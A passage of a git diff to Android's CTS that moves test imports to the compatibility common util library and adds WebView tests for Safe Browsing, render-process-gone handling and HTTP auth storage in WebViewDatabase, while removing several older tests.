-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/voicesettings/service/src/android/voicesettings/service/MainInteractionService.java b/tests/tests/voicesettings/service/src/android/voicesettings/service/MainInteractionService.java
index 1029235..6d5470b 100644
--- a/tests/tests/voicesettings/service/src/android/voicesettings/service/MainInteractionService.java
+++ b/tests/tests/voicesettings/service/src/android/voicesettings/service/MainInteractionService.java
@@ -16,12 +16,13 @@
 
 package android.voicesettings.service;
 
+import com.android.compatibility.common.util.BroadcastUtils;
+
 import android.content.ComponentName;
 import android.content.Intent;
 import android.os.Bundle;
 import android.service.voice.VoiceInteractionService;
 import android.util.Log;
-import android.cts.util.BroadcastUtils;
 
 public class MainInteractionService extends VoiceInteractionService {
     static final String TAG = "MainInteractionService";
diff --git a/tests/tests/voicesettings/service/src/android/voicesettings/service/MainInteractionSession.java b/tests/tests/voicesettings/service/src/android/voicesettings/service/MainInteractionSession.java
index d9a0746..87c8926 100644
--- a/tests/tests/voicesettings/service/src/android/voicesettings/service/MainInteractionSession.java
+++ b/tests/tests/voicesettings/service/src/android/voicesettings/service/MainInteractionSession.java
@@ -24,11 +24,12 @@
 import static android.provider.Settings.ACTION_VOICE_CONTROL_BATTERY_SAVER_MODE;
 import static android.provider.Settings.EXTRA_BATTERY_SAVER_MODE_ENABLED;
 
+import com.android.compatibility.common.util.BroadcastUtils;
+import com.android.compatibility.common.util.BroadcastUtils.TestcaseType;
+
 import android.app.VoiceInteractor;
 import android.content.Context;
 import android.content.Intent;
-import android.cts.util.BroadcastUtils;
-import android.cts.util.BroadcastUtils.TestcaseType;
 import android.os.AsyncTask;
 import android.os.Bundle;
 import android.service.voice.VoiceInteractionSession;
diff --git a/tests/tests/voicesettings/service/src/android/voicesettings/service/VoiceInteractionMain.java b/tests/tests/voicesettings/service/src/android/voicesettings/service/VoiceInteractionMain.java
index 645b4e9..9eba4c0 100644
--- a/tests/tests/voicesettings/service/src/android/voicesettings/service/VoiceInteractionMain.java
+++ b/tests/tests/voicesettings/service/src/android/voicesettings/service/VoiceInteractionMain.java
@@ -16,14 +16,14 @@
 
 package android.voicesettings.service;
 
+import com.android.compatibility.common.util.BroadcastUtils;
+
 import android.app.Activity;
 import android.content.Intent;
 import android.content.ComponentName;
 import android.os.Bundle;
 import android.util.Log;
 
-import android.cts.util.BroadcastUtils;
-
 public class VoiceInteractionMain extends Activity {
     static final String TAG = "VoiceInteractionMain";
 
diff --git a/tests/tests/voicesettings/src/android/voicesettings/cts/AirplaneModeTest.java b/tests/tests/voicesettings/src/android/voicesettings/cts/AirplaneModeTest.java
index 44efc28..db6bbb9 100644
--- a/tests/tests/voicesettings/src/android/voicesettings/cts/AirplaneModeTest.java
+++ b/tests/tests/voicesettings/src/android/voicesettings/cts/AirplaneModeTest.java
@@ -18,8 +18,9 @@
 
 import static android.provider.Settings.ACTION_VOICE_CONTROL_AIRPLANE_MODE;
 
-import android.cts.util.BroadcastTestBase;
-import android.cts.util.BroadcastUtils;
+import com.android.compatibility.common.util.BroadcastTestBase;
+import com.android.compatibility.common.util.BroadcastUtils;
+
 import android.provider.Settings;
 import android.provider.Settings.Global;
 import android.util.Log;
diff --git a/tests/tests/voicesettings/src/android/voicesettings/cts/BatterySaverModeTest.java b/tests/tests/voicesettings/src/android/voicesettings/cts/BatterySaverModeTest.java
index fe858fc..759d82e 100644
--- a/tests/tests/voicesettings/src/android/voicesettings/cts/BatterySaverModeTest.java
+++ b/tests/tests/voicesettings/src/android/voicesettings/cts/BatterySaverModeTest.java
@@ -18,8 +18,9 @@
 
 import static android.provider.Settings.ACTION_VOICE_CONTROL_BATTERY_SAVER_MODE;
 
-import android.cts.util.BroadcastTestBase;
-import android.cts.util.BroadcastUtils;
+import com.android.compatibility.common.util.BroadcastTestBase;
+import com.android.compatibility.common.util.BroadcastUtils;
+
 import android.content.Context;
 import android.os.PowerManager;
 import android.util.Log;
diff --git a/tests/tests/voicesettings/src/android/voicesettings/cts/ZenModeTest.java b/tests/tests/voicesettings/src/android/voicesettings/cts/ZenModeTest.java
index f6a164d..e01f3b9 100644
--- a/tests/tests/voicesettings/src/android/voicesettings/cts/ZenModeTest.java
+++ b/tests/tests/voicesettings/src/android/voicesettings/cts/ZenModeTest.java
@@ -20,8 +20,9 @@
 import static android.provider.Settings.EXTRA_DO_NOT_DISTURB_MODE_ENABLED;
 import static android.provider.Settings.EXTRA_DO_NOT_DISTURB_MODE_MINUTES;
 
-import android.cts.util.BroadcastTestBase;
-import android.cts.util.BroadcastUtils;
+import com.android.compatibility.common.util.BroadcastTestBase;
+import com.android.compatibility.common.util.BroadcastUtils;
+
 import android.provider.Settings;
 import android.provider.Settings.Global;
 import android.util.Log;
diff --git a/tests/tests/webkit/Android.mk b/tests/tests/webkit/Android.mk
index d133d80..2385647 100644
--- a/tests/tests/webkit/Android.mk
+++ b/tests/tests/webkit/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner org.apache.http.legacy
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctsdeviceutillegacy \
     ctstestserver \
     ctstestrunner
diff --git a/tests/tests/webkit/AndroidManifest.xml b/tests/tests/webkit/AndroidManifest.xml
index 44df7c4..83775df 100644
--- a/tests/tests/webkit/AndroidManifest.xml
+++ b/tests/tests/webkit/AndroidManifest.xml
@@ -56,6 +56,8 @@
             </intent-filter>
         </activity>
 
+        <meta-data android:name="android.webkit.WebView.EnableSafeBrowsing" android:value="false" />
+
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/webkit/AndroidTest.xml b/tests/tests/webkit/AndroidTest.xml
index 7e8ed69..a3801e4 100644
--- a/tests/tests/webkit/AndroidTest.xml
+++ b/tests/tests/webkit/AndroidTest.xml
@@ -14,8 +14,9 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Webkit test cases">
+    <option name="config-descriptor:metadata" key="component" value="webview" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWebkitTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java b/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
index ffde739..799545a 100644
--- a/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
@@ -16,14 +16,15 @@
 
 package android.webkit.cts;
 
-import android.cts.util.NullWebViewUtils;
-import android.cts.util.PollingCheck;
 import android.test.ActivityInstrumentationTestCase2;
 import android.webkit.CookieManager;
 import android.webkit.CookieSyncManager;
 import android.webkit.WebView;
 import android.webkit.ValueCallback;
 
+import com.android.compatibility.common.util.NullWebViewUtils;
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicBoolean;
diff --git a/tests/tests/webkit/src/android/webkit/cts/CookieSyncManagerCtsActivity.java b/tests/tests/webkit/src/android/webkit/cts/CookieSyncManagerCtsActivity.java
index e623405..7661013 100644
--- a/tests/tests/webkit/src/android/webkit/cts/CookieSyncManagerCtsActivity.java
+++ b/tests/tests/webkit/src/android/webkit/cts/CookieSyncManagerCtsActivity.java
@@ -17,11 +17,14 @@
 package android.webkit.cts;
 
 import android.app.Activity;
-import android.cts.util.NullWebViewUtils;
 import android.os.Bundle;
+import android.view.ViewGroup;
+import android.view.ViewParent;
 import android.webkit.CookieSyncManager;
 import android.webkit.WebView;
 
+import com.android.compatibility.common.util.NullWebViewUtils;
+
 public class CookieSyncManagerCtsActivity extends Activity {
     private WebView mWebView;
 
@@ -50,6 +53,18 @@
     }
 
     @Override
+    public void onDestroy() {
+        if (mWebView != null) {
+            ViewParent parent =  mWebView.getParent();
+            if (parent instanceof ViewGroup) {
+                ((ViewGroup) parent).removeView(mWebView);
+            }
+            mWebView.destroy();
+        }
+        super.onDestroy();
+    }
+
+    @Override
     protected void onStop() {
         super.onStop();
         try {
diff --git a/tests/tests/webkit/src/android/webkit/cts/CookieTest.java b/tests/tests/webkit/src/android/webkit/cts/CookieTest.java
index 4f89ec1..887b891 100644
--- a/tests/tests/webkit/src/android/webkit/cts/CookieTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/CookieTest.java
@@ -16,12 +16,13 @@
 
 package android.webkit.cts;
 
-import android.cts.util.NullWebViewUtils;
 import android.platform.test.annotations.Presubmit;
 import android.test.ActivityInstrumentationTestCase2;
 import android.webkit.CookieManager;
 import android.webkit.CookieSyncManager;
 
+import com.android.compatibility.common.util.NullWebViewUtils;
+
 /**
  * Original framework tests for CookieManager
  */
diff --git a/tests/tests/webkit/src/android/webkit/cts/GeolocationTest.java b/tests/tests/webkit/src/android/webkit/cts/GeolocationTest.java
index b6dc991..9f27081 100644
--- a/tests/tests/webkit/src/android/webkit/cts/GeolocationTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/GeolocationTest.java
@@ -17,9 +17,6 @@
 package android.webkit.cts;
 
 import android.content.Context;
-import android.cts.util.LocationUtils;
-import android.cts.util.NullWebViewUtils;
-import android.cts.util.PollingCheck;
 import android.graphics.Bitmap;
 import android.location.Criteria;
 import android.location.Location;
@@ -41,6 +38,10 @@
 import android.webkit.cts.WebViewOnUiThread.WaitForLoadedClient;
 import android.webkit.cts.WebViewOnUiThread.WaitForProgressClient;
 
+import com.android.compatibility.common.util.LocationUtils;
+import com.android.compatibility.common.util.NullWebViewUtils;
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.io.ByteArrayInputStream;
 import java.io.UnsupportedEncodingException;
 import java.util.concurrent.Callable;
diff --git a/tests/tests/webkit/src/android/webkit/cts/HttpAuthHandlerTest.java b/tests/tests/webkit/src/android/webkit/cts/HttpAuthHandlerTest.java
index 10bf6d8..dc9bf3c 100644
--- a/tests/tests/webkit/src/android/webkit/cts/HttpAuthHandlerTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/HttpAuthHandlerTest.java
@@ -16,12 +16,12 @@
 
 package android.webkit.cts;
 
-import android.cts.util.NullWebViewUtils;
 import android.test.ActivityInstrumentationTestCase2;
 import android.webkit.HttpAuthHandler;
 import android.webkit.WebView;
 import android.webkit.cts.WebViewOnUiThread.WaitForLoadedClient;
 
+import com.android.compatibility.common.util.NullWebViewUtils;
 
 import org.apache.http.HttpStatus;
 
diff --git a/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java b/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java
index 6ffe69c..ecc3e4f 100644
--- a/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java
@@ -16,8 +16,6 @@
 
 package android.webkit.cts;
 
-import android.cts.util.NullWebViewUtils;
-import android.cts.util.PollingCheck;
 import android.net.Uri;
 import android.test.ActivityInstrumentationTestCase2;
 import android.test.UiThreadTest;
@@ -25,6 +23,9 @@
 import android.webkit.WebMessagePort;
 import android.webkit.WebView;
 
+import com.android.compatibility.common.util.NullWebViewUtils;
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.util.concurrent.CountDownLatch;
 import junit.framework.Assert;
 
diff --git a/tests/tests/webkit/src/android/webkit/cts/ServiceWorkerClientTest.java b/tests/tests/webkit/src/android/webkit/cts/ServiceWorkerClientTest.java
index e09e0d6..1e9f5e8 100644
--- a/tests/tests/webkit/src/android/webkit/cts/ServiceWorkerClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/ServiceWorkerClientTest.java
@@ -16,8 +16,6 @@
 
 package android.webkit.cts;
 
-import android.cts.util.NullWebViewUtils;
-import android.cts.util.PollingCheck;
 import android.test.ActivityInstrumentationTestCase2;
 
 import android.webkit.JavascriptInterface;
@@ -29,6 +27,9 @@
 import android.webkit.WebViewClient;
 import android.webkit.cts.WebViewOnUiThread.WaitForLoadedClient;
 
+import com.android.compatibility.common.util.NullWebViewUtils;
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.io.ByteArrayInputStream;
 import java.io.UnsupportedEncodingException;
 import java.util.ArrayList;
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebBackForwardListTest.java b/tests/tests/webkit/src/android/webkit/cts/WebBackForwardListTest.java
index e7d6211..eb5b413 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebBackForwardListTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebBackForwardListTest.java
@@ -16,13 +16,13 @@
 
 package android.webkit.cts;
 
-import android.cts.util.NullWebViewUtils;
-import android.cts.util.PollingCheck;
 import android.test.ActivityInstrumentationTestCase2;
 import android.webkit.WebBackForwardList;
 import android.webkit.WebHistoryItem;
 import android.webkit.WebView;
 
+import com.android.compatibility.common.util.NullWebViewUtils;
+import com.android.compatibility.common.util.PollingCheck;
 
 public class WebBackForwardListTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
 
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
index 424d856..66b3399 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
@@ -16,8 +16,6 @@
 
 package android.webkit.cts;
 
-import android.cts.util.NullWebViewUtils;
-import android.cts.util.PollingCheck;
 import android.graphics.Bitmap;
 import android.os.Message;
 import android.test.ActivityInstrumentationTestCase2;
@@ -29,6 +27,9 @@
 import android.webkit.WebView;
 import android.webkit.cts.WebViewOnUiThread.WaitForProgressClient;
 
+import com.android.compatibility.common.util.NullWebViewUtils;
+import com.android.compatibility.common.util.PollingCheck;
+
 public class WebChromeClientTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
     private static final long TEST_TIMEOUT = 5000L;
 
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebHistoryItemTest.java b/tests/tests/webkit/src/android/webkit/cts/WebHistoryItemTest.java
index dc9e615..d04fd69 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebHistoryItemTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebHistoryItemTest.java
@@ -16,8 +16,6 @@
 
 package android.webkit.cts;
 
-import android.cts.util.NullWebViewUtils;
-import android.cts.util.PollingCheck;
 import android.graphics.Bitmap;
 import android.test.ActivityInstrumentationTestCase2;
 import android.webkit.WebBackForwardList;
@@ -26,6 +24,9 @@
 import android.webkit.WebIconDatabase;
 import android.webkit.WebView;
 
+import com.android.compatibility.common.util.NullWebViewUtils;
+import com.android.compatibility.common.util.PollingCheck;
+
 public class WebHistoryItemTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
     private final static long TEST_TIMEOUT = 10000;
     private CtsTestServer mWebServer;
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
index 7729baf..8caf161 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
@@ -16,8 +16,6 @@
 package android.webkit.cts;
 
 import android.content.Context;
-import android.cts.util.NullWebViewUtils;
-import android.cts.util.PollingCheck;
 import android.graphics.Bitmap;
 import android.net.http.SslError;
 import android.os.Build;
@@ -33,6 +31,10 @@
 import android.webkit.WebViewClient;
 import android.webkit.cts.WebViewOnUiThread.WaitForLoadedClient;
 import android.webkit.cts.WebViewOnUiThread.WaitForProgressClient;
+
+import com.android.compatibility.common.util.NullWebViewUtils;
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.io.FileOutputStream;
 import java.util.Locale;
 import java.util.regex.Matcher;
@@ -527,16 +529,6 @@
         assertEquals("", mSettings.getPluginsPath());
     }
 
-    public void testAccessSaveFormData() {
-        if (!NullWebViewUtils.isWebViewAvailable()) {
-            return;
-        }
-        assertTrue(mSettings.getSaveFormData());
-
-        mSettings.setSaveFormData(false);
-        assertFalse(mSettings.getSaveFormData());
-    }
-
     public void testAccessTextSize() {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
@@ -1013,6 +1005,18 @@
         }
     }
 
+    public void testEnableSafeBrowsing() throws Throwable {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+        assertFalse(mSettings.getSafeBrowsingEnabled());
+        mSettings.setSafeBrowsingEnabled(true);
+        assertTrue(mSettings.getSafeBrowsingEnabled());
+        mSettings.setSafeBrowsingEnabled(false);
+        assertFalse(mSettings.getSafeBrowsingEnabled());
+    }
+
+
     /**
      * Starts the internal web server. The server will be shut down automatically
      * during tearDown().
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
index 2f99b49..d77af03 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
@@ -16,15 +16,13 @@
 
 package android.webkit.cts;
 
-import android.cts.util.EvaluateJsResultPollingCheck;
-import android.cts.util.NullWebViewUtils;
-import android.cts.util.PollingCheck;
 import android.graphics.Bitmap;
 import android.os.Message;
 import android.test.ActivityInstrumentationTestCase2;
 import android.view.KeyEvent;
 import android.view.ViewGroup;
 import android.webkit.HttpAuthHandler;
+import android.webkit.RenderProcessGoneDetail;
 import android.webkit.ValueCallback;
 import android.webkit.WebChromeClient;
 import android.webkit.WebResourceError;
@@ -36,6 +34,10 @@
 import android.webkit.cts.WebViewOnUiThread.WaitForLoadedClient;
 import android.util.Pair;
 
+import com.android.compatibility.common.util.EvaluateJsResultPollingCheck;
+import com.android.compatibility.common.util.NullWebViewUtils;
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.io.ByteArrayInputStream;
 import java.nio.charset.StandardCharsets;
 import java.util.HashMap;
@@ -565,6 +567,31 @@
         }
     }
 
+    // Verify that OnRenderProcessGone returns false by default
+    public void testOnRenderProcessGoneDefault() throws Throwable {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+        final WebViewClient webViewClient = new WebViewClient();
+        assertFalse(webViewClient.onRenderProcessGone(mOnUiThread.getWebView(), null));
+    }
+
+    public void testOnRenderProcessGone() throws Throwable {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+        final MockWebViewClient webViewClient = new MockWebViewClient();
+        mOnUiThread.setWebViewClient(webViewClient);
+        mOnUiThread.loadUrl("chrome://kill");
+        new PollingCheck(TEST_TIMEOUT * 5) {
+            @Override
+            protected boolean check() {
+                return webViewClient.hasRenderProcessGoneCalled();
+            }
+        }.run();
+        assertFalse(webViewClient.didRenderProcessCrash());
+    }
+
     private void requireLoadedPage() throws Throwable {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
@@ -591,6 +618,8 @@
         private int mShouldOverrideUrlLoadingCallCount;
         private String mLastShouldOverrideUrl;
         private WebResourceRequest mLastShouldOverrideResourceRequest;
+        private boolean mOnRenderProcessGoneCalled;
+        private boolean mRenderProcessCrashed;
 
         public MockWebViewClient() {
             super(mOnUiThread);
@@ -668,6 +697,14 @@
             return mOnReceivedLoginArgs;
         }
 
+        public boolean hasRenderProcessGoneCalled() {
+            return mOnRenderProcessGoneCalled;
+        }
+
+        public boolean didRenderProcessCrash() {
+            return mRenderProcessCrashed;
+        }
+
         @Override
         public void onPageStarted(WebView view, String url, Bitmap favicon) {
             super.onPageStarted(view, url, favicon);
@@ -766,5 +803,12 @@
             mShouldOverrideUrlLoadingCallCount++;
             return false;
         }
+
+        @Override
+        public boolean onRenderProcessGone(WebView view, RenderProcessGoneDetail  detail) {
+            mOnRenderProcessGoneCalled = true;
+            mRenderProcessCrashed = detail.didCrash();
+            return true;
+        }
     }
 }
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewCtsActivity.java b/tests/tests/webkit/src/android/webkit/cts/WebViewCtsActivity.java
index 1b05154..9875662 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewCtsActivity.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewCtsActivity.java
@@ -19,12 +19,13 @@
 import android.webkit.cts.R;
 
 import android.app.Activity;
-import android.cts.util.NullWebViewUtils;
 import android.os.Bundle;
 import android.view.ViewGroup;
 import android.view.ViewParent;
 import android.webkit.WebView;
 
+import com.android.compatibility.common.util.NullWebViewUtils;
+
 public class WebViewCtsActivity extends Activity {
     private WebView mWebView;
 
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
index e07267f..0708568 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
@@ -16,8 +16,6 @@
 
 package android.webkit.cts;
 
-import android.cts.util.NullWebViewUtils;
-import android.cts.util.PollingCheck;
 import android.net.Uri;
 import android.net.http.SslCertificate;
 import android.net.http.SslError;
@@ -34,6 +32,9 @@
 import android.webkit.WebViewClient;
 import android.webkit.cts.WebViewOnUiThread.WaitForLoadedClient;
 
+import com.android.compatibility.common.util.NullWebViewUtils;
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.io.ByteArrayInputStream;
 import java.io.File;
 import java.security.KeyFactory;
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewStartupCtsActivity.java b/tests/tests/webkit/src/android/webkit/cts/WebViewStartupCtsActivity.java
deleted file mode 100644
index 933d0ed..0000000
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewStartupCtsActivity.java
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.webkit.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.view.ViewGroup;
-import android.webkit.WebView;
-
-public class WebViewStartupCtsActivity extends Activity {
-    private WebView mWebView;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-    }
-
-    public WebView createAndAttachWebView() {
-        mWebView = new WebView(this);
-        setContentView(mWebView);
-        return mWebView;
-    }
-
-    public WebView getWebView() {
-        return mWebView;
-    }
-
-    public void detachAndDestroyWebView() {
-        if (mWebView != null) {
-            ViewGroup vg = (ViewGroup)mWebView.getParent();
-            vg.removeView(mWebView);
-            mWebView.destroy();
-        }
-    }
-
-    @Override
-    public void onDestroy() {
-        detachAndDestroyWebView();
-        super.onDestroy();
-    }
-}
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewStartupTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewStartupTest.java
deleted file mode 100644
index 3b67d84..0000000
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewStartupTest.java
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.webkit.cts;
-
-
-import android.content.Context;
-import android.cts.util.NullWebViewUtils;
-import android.cts.util.PollingCheck;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
-import android.util.Log;
-import android.webkit.CookieManager;
-import android.webkit.CookieSyncManager;
-import android.webkit.WebView;
-
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-public class WebViewStartupTest
-        extends ActivityInstrumentationTestCase2<WebViewStartupCtsActivity> {
-
-    private static final int TEST_TIMEOUT = 5000;
-    private static final String TAG = "WebViewStartupTest";
-
-    private WebViewStartupCtsActivity mActivity;
-
-    public WebViewStartupTest() {
-        super("android.webkit.cts", WebViewStartupCtsActivity.class);
-    }
-
-    @Override
-    public void setUp() throws Exception {
-        mActivity = getActivity();
-    }
-
-    @UiThreadTest
-    public void testCookieManagerBlockingUiThread() throws Throwable {
-        CtsTestServer server = new CtsTestServer(mActivity, false);
-        final String url = server.getCookieUrl("death.html");
-
-        Thread background = new Thread(new Runnable() {
-            @Override
-            public void run() {
-                CookieSyncManager csm = CookieSyncManager.createInstance(mActivity);
-                CookieManager cookieManager = CookieManager.getInstance();
-
-                cookieManager.removeAllCookie();
-                cookieManager.setAcceptCookie(true);
-                cookieManager.setCookie(url, "count=41");
-                Log.i(TAG, "done setting cookie before creating webview");
-            }
-        });
-        NullWebViewUtils.NullWebViewFromThreadExceptionHandler h =
-                new NullWebViewUtils.NullWebViewFromThreadExceptionHandler();
-
-        background.setUncaughtExceptionHandler(h);
-        background.start();
-        background.join();
-
-        if (!h.isWebViewAvailable(mActivity)) {
-            return;
-        }
-
-        // Now create WebView and test that setting the cookie beforehand really worked.
-        mActivity.createAndAttachWebView();
-        WebViewOnUiThread onUiThread = new WebViewOnUiThread(this, mActivity.getWebView());
-        onUiThread.loadUrlAndWaitForCompletion(url);
-        assertEquals("1|count=41", onUiThread.getTitle()); // outgoing cookie
-        CookieManager cookieManager = CookieManager.getInstance();
-        String cookie = cookieManager.getCookie(url);
-        assertNotNull(cookie);
-        final Pattern pat = Pattern.compile("count=(\\d+)");
-        Matcher m = pat.matcher(cookie);
-        assertTrue(m.matches());
-        assertEquals("42", m.group(1)); // value got incremented
-    }
-}
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index 9151783..48b519c 100755
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -19,9 +19,6 @@
 import android.content.ContentResolver;
 import android.content.Context;
 import android.content.res.AssetManager;
-import android.cts.util.EvaluateJsResultPollingCheck;
-import android.cts.util.NullWebViewUtils;
-import android.cts.util.PollingCheck;
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
 import android.graphics.BitmapFactory;
@@ -72,6 +69,10 @@
 import android.webkit.cts.WebViewOnUiThread.WaitForProgressClient;
 import android.widget.LinearLayout;
 
+import com.android.compatibility.common.util.EvaluateJsResultPollingCheck;
+import com.android.compatibility.common.util.NullWebViewUtils;
+import com.android.compatibility.common.util.PollingCheck;
+
 import junit.framework.Assert;
 
 import java.io.ByteArrayInputStream;
@@ -1174,40 +1175,6 @@
         }.run();
     }
 
-    public void testClearFormData() throws Throwable {
-        if (!NullWebViewUtils.isWebViewAvailable()) {
-            return;
-        }
-        try {
-            startWebServer(false);
-            WebSettings settings = mOnUiThread.getSettings();
-            settings.setDatabaseEnabled(true);
-            settings.setJavaScriptEnabled(true);
-            WebViewDatabase webViewDatabase = WebViewDatabase.getInstance(getActivity());
-            webViewDatabase.clearFormData();
-            final String url = mWebServer.getAssetUrl(TestHtmlConstants.LOGIN_FORM_URL);
-            mOnUiThread.loadUrlAndWaitForCompletion(url);
-            new PollingCheck(TEST_TIMEOUT) {
-                @Override
-                public boolean check() {
-                    return !WebViewDatabase.getInstance(getActivity()).hasFormData();
-                }
-            }.run();
-
-            // Click submit (using JS, rather than simulated key presses, to avoid IME
-            // inconsistencies).
-            mOnUiThread.evaluateJavascript("document.getElementsByName('submit')[0].click()", null);
-            new PollingCheck(TEST_TIMEOUT) {
-                @Override
-                public boolean check() {
-                    return WebViewDatabase.getInstance(getActivity()).hasFormData();
-                }
-            }.run();
-        } finally {
-            WebViewDatabase.getInstance(getActivity()).clearFormData();
-        }
-    }
-
     @UiThreadTest
     public void testAccessHttpAuthUsernamePassword() {
         if (!NullWebViewUtils.isWebViewAvailable()) {
@@ -1273,6 +1240,74 @@
         }
     }
 
+    @UiThreadTest
+    public void testWebViewDatabaseAccessHttpAuthUsernamePassword() {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+        WebViewDatabase webViewDb = WebViewDatabase.getInstance(getActivity());
+        try {
+            webViewDb.clearHttpAuthUsernamePassword();
+
+            String host = "http://localhost:8080";
+            String realm = "testrealm";
+            String userName = "user";
+            String password = "password";
+
+            String[] result =
+                    mWebView.getHttpAuthUsernamePassword(host,
+                            realm);
+            assertNull(result);
+
+            webViewDb.setHttpAuthUsernamePassword(host, realm, userName, password);
+            result = webViewDb.getHttpAuthUsernamePassword(host, realm);
+            assertNotNull(result);
+            assertEquals(userName, result[0]);
+            assertEquals(password, result[1]);
+
+            String newPassword = "newpassword";
+            webViewDb.setHttpAuthUsernamePassword(host, realm, userName, newPassword);
+            result = webViewDb.getHttpAuthUsernamePassword(host, realm);
+            assertNotNull(result);
+            assertEquals(userName, result[0]);
+            assertEquals(newPassword, result[1]);
+
